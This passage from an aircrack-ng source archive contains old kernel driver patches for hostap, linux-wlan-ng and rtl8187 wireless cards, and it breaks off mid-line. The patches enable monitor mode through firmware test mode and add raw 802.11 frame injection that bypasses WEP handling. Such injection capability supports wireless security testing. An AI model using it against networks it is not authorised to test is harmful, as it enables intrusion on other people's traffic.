0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.4.5/driver/modules/hostap_hw.c 2005-08-20 18:32:34.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-11-21 13:49:16.000000000 +0100 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c 2005-09-19 03:51:47.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-11-21 13:49:16.000000000 +0100 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_pci.c ./driver/modules/hostap_pci.c --- ../hostap-driver-0.4.5/driver/modules/hostap_pci.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_pci.c 2005-11-21 13:56:48.000000000 +0100 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_plx.c ./driver/modules/hostap_plx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_plx.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_plx.c 2005-11-21 16:24:11.000000000 +0100 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-11-21 13:49:16.000000000 +0100 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-beta3/patches/old/wlanng-0.2.1-pre26.patch0000644000000000000000000002511710761053203021336 0ustar rootrootdiff -ur linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c 2005-01-11 18:43:54.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c 2005-03-14 13:58:11.000000000 +0100 @@ -525,7 +525,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -537,7 +537,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { return(-EPERM); } @@ -965,8 +965,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// KoreK: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile 2005-01-25 02:41:44.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile 2005-03-14 13:58:11.000000000 +0100 @@ -88,7 +88,7 @@ MODVERDIR=$(WLAN_SRC)/.tmp_versions modules else # kbuild 2.4 - $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(PWD) \ + $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(WLAN_SRC) \ modules endif # kbuild switch diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c 2005-03-14 15:21:02.000000000 +0100 @@ -1941,8 +1941,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3178,13 +3184,26 @@ HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3207,7 +3226,7 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3657,6 +3676,16 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c 2005-01-17 17:24:40.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c 2005-03-14 15:27:57.000000000 +0100 @@ -1143,8 +1143,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3258,37 +3264,59 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4105,6 +4133,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status)) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + w_hdr = (p80211_hdr_t *) &(usbin->rxfrm.desc.frame_control); fc = ieee2host16(usbin->rxfrm.desc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c 2005-03-14 13:58:11.000000000 +0100 @@ -2855,9 +2855,10 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2869,6 +2870,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2914,7 +2917,8 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c 2005-03-14 13:58:11.000000000 +0100 @@ -649,7 +649,8 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.20.patch0000644000000000000000000056000410761053203020415 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-26 03:05:07.691423532 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void 